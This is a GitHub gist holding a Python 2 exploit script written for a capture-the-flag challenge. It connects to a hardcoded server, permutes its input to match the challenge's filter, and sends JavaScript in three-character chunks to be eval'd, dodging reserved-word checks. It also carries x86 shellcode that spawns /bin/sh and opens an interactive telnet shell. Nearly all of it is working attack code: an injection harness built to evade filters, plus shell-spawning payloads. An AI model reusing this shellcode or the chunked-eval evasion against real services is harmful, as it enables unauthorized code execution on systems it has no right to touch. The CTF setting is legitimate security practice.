Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
#!/usr/bin/python
# pwnserver.py based on MyLittlePwnie challenge code from VolgaCTF 2015
# in turn based on my EBP challenge code from PLAID
#@mrexcessive
import os, sys, code
import readline, rlcompleter
import socket
import time
import struct
import telnetlib
SERVER = "188.166.133.53" # the actual challenge server
PORT = 12589
pauseDebugging = False # use this when debugging locally
goTelnetAtEnd = True # enable once you have some kind of expectation that it isn't all screwed up
# and you might actually get a shell
p = lambda x: struct.pack("<L", x) # from https://gist.github.com/soez/4ee5eb07d4a3982815ad
u = lambda x: struct.unpack('<L', x)[0]
p64 = lambda x: struct.pack("<Q", x)
u64 = lambda x: struct.unpack('<Q', x)[0]
localtest = False
if localtest:
#TESTING LOCALLY
SERVER = "localhost"
PORT = 1337
#process flags and vars
flagDoPad = True
boxIn = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
boxOut = "UOICwqkedcba"
#debug flags
debug = False
debugShowRaw = False
alphanums = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
printables = alphanums + ".,<>?/!$%^&*()_-+=@'#][{}`#"
s = None # socket
old_data = "" # response data not yet processed
def HexPrint(what):
#expects list of ints
col = 0
oplineA = ""
oplineB = ""
for c in what:
b = ord(c)
oplineA += "%02x " % b
if not c in printables:
c = '.'
oplineB += c
if col == 7:
oplineA += "- "
col += 1
if col >= 16:
print oplineA + ' ' * (53-len(oplineA)) + oplineB
oplineA = ""
oplineB = ""
col = 0
if oplineA <> "": # final line if any
print oplineA + ' ' * (53-len(oplineA)) + oplineB
def GetShellcode(FD = 0):
#dup2code = "\x31\xdb\xb3\xff\x5b\x31\xc9\x6a\x3f\x58\xcd\x80\x41\x6a\x3f\x58\xcd\x80\x41\x6a\x3f\x58\xcd\x80"
#shellcode = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\xbe\x2e\x61\x68\x6d\x81\xc6\x01\x01\x01\x01\x56\x89\xe3\x52\x53\x89\xe1\xcd\x80"
#sc = dup2code.replace("\xff",chr(FD & 0xff))
#useshellcode = sc + shellcode
useshellcode = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80" # the one I'm using for IOsmash
# useshellcode = "\x6a\x04\x5b\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8"
# useshellcode += "\x31\xc0\x99\x52\x68\x6e\x2f\x73"
# useshellcode += "\x68\x68\x2f\x2f\x62\x69\x89\xe3"
# useshellcode += "\x52\x89\xe2\x53\x89\xe1\xb0\x0b"
# useshellcode += "\xcd\x80"
print "Shellcode = [%s]" % useshellcode.encode("hex")
print "shellcode length = %i" % len(useshellcode)
return useshellcode
def DoConnect():
global s
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((SERVER,PORT))
assert(s <> None)
def GetResponse(expect="",timeout=0.1):
global s, old_data
s.setblocking(0)
total_data=old_data
begin = time.time()
while True:
if total_data <> "" and time.time() - begin > timeout: # wait timeout sec if we have something
break
elif time.time() - begin > timeout * 2: # wait 2xtimeout if nothing
break
try:
data = s.recv(1024)
if data:
total_data += data
if expect in total_data:
total_data, old_data = total_data.split(expect,1)
total_data += expect
break
begin = time.time()
else:
time.sleep(0.01)
except:
pass
return total_data
def Send(v):
if debug:
sys.stdout.write(v)
sys.stdout.flush()
s.sendall(v)
def DoTranslate(a):
# input reordering: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ -> UOICwqkedcba
# 012345678901
# just force the length with ; for now
padchar = ";"
op = boxIn # fully padded
if len(a)>len(boxOut):
print "TRUNCATED BEFORE SENDING"
a = a[:len(boxOut)]
else:
if flagDoPad: # pad with spaces to length
a = (a + " "*len(boxOut))[:len(boxOut)]
for i,c in enumerate(a): # a[N] maps to position of bo[N]
lkup = boxOut[i]
lkuppos = boxIn.find(lkup)
op = op[:lkuppos] + c + op[lkuppos+1:] # insert c
return op
def TranslateAndSendShowResponse(a):
b = DoTranslate(a)
Send(b+"\n")
r = GetResponse(expect="$", timeout=2)
if debugShowRaw: HexPrint(r)
sys.stdout.write(r)
sys.stdout.flush()
def SendAndMaybeEval(code, doEval=False):
# break code up into 3 char chunks appends to 'a' then eval it
# 3 char not 12 char because of 'reserved word' spotting...
TranslateAndSendShowResponse("a=''")
while len(code) > 0:
bit = code[:3]
code = code[3:]
TranslateAndSendShowResponse("a+='%s'" % bit)
if doEval: TranslateAndSendShowResponse("eval(a)")
def PwnServer():
if True:
dummy="""a=this._events.close; b=this._events.line; process;
"""
dummy="""
r.onerror = function(event) {
console.error("Nope: " + event.target.error.code);
};
"""
if False: code="""
var r = new FileReader();
r.onload = function(e) { var c = e.target.result; };
r.readAsText('flag.txt');
"""
if False: code="""
var op="";
function er(o)
{
for (var k in o) {
if (typeof(o[k] == "object" && o[k] != null)
er(o[k])
else
op += o.toString();
}
}
er(process);
op;
"""
code = """
import 'FileReader';
fr=new FileReader();
"""
code = code.replace("\n","")
SendAndMaybeEval(code,True)
if True: # give control to user
while True:
r = GetResponse(expect="\n$", timeout=1)
if debugShowRaw: HexPrint(r)
sys.stdout.write(r)
sys.stdout.flush()
a = raw_input()
if a == "quit":
break
a = a.replace("\n","")
SendAndMaybeEval(a,True)
# b = DoTranslate(a)
# b += "\n"
# if debugShowRaw: HexPrint("SEND"+b)
# s.send(b)
if __name__ == "__main__":
vars = globals()
vars.update(locals())
readline.set_completer(rlcompleter.Completer(vars).complete)
readline.parse_and_bind("tab: complete")
shell = code.InteractiveConsole(vars)
# any startups
DoConnect()
if pauseDebugging:
print "Attach debugger then press <Enter>"
raw_input()
PwnServer()
exit()
if goTelnetAtEnd:
t = telnetlib.Telnet()
t.sock = s
t.interact()
# go interactive
#shell.interact() # exit... cos... reasons
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.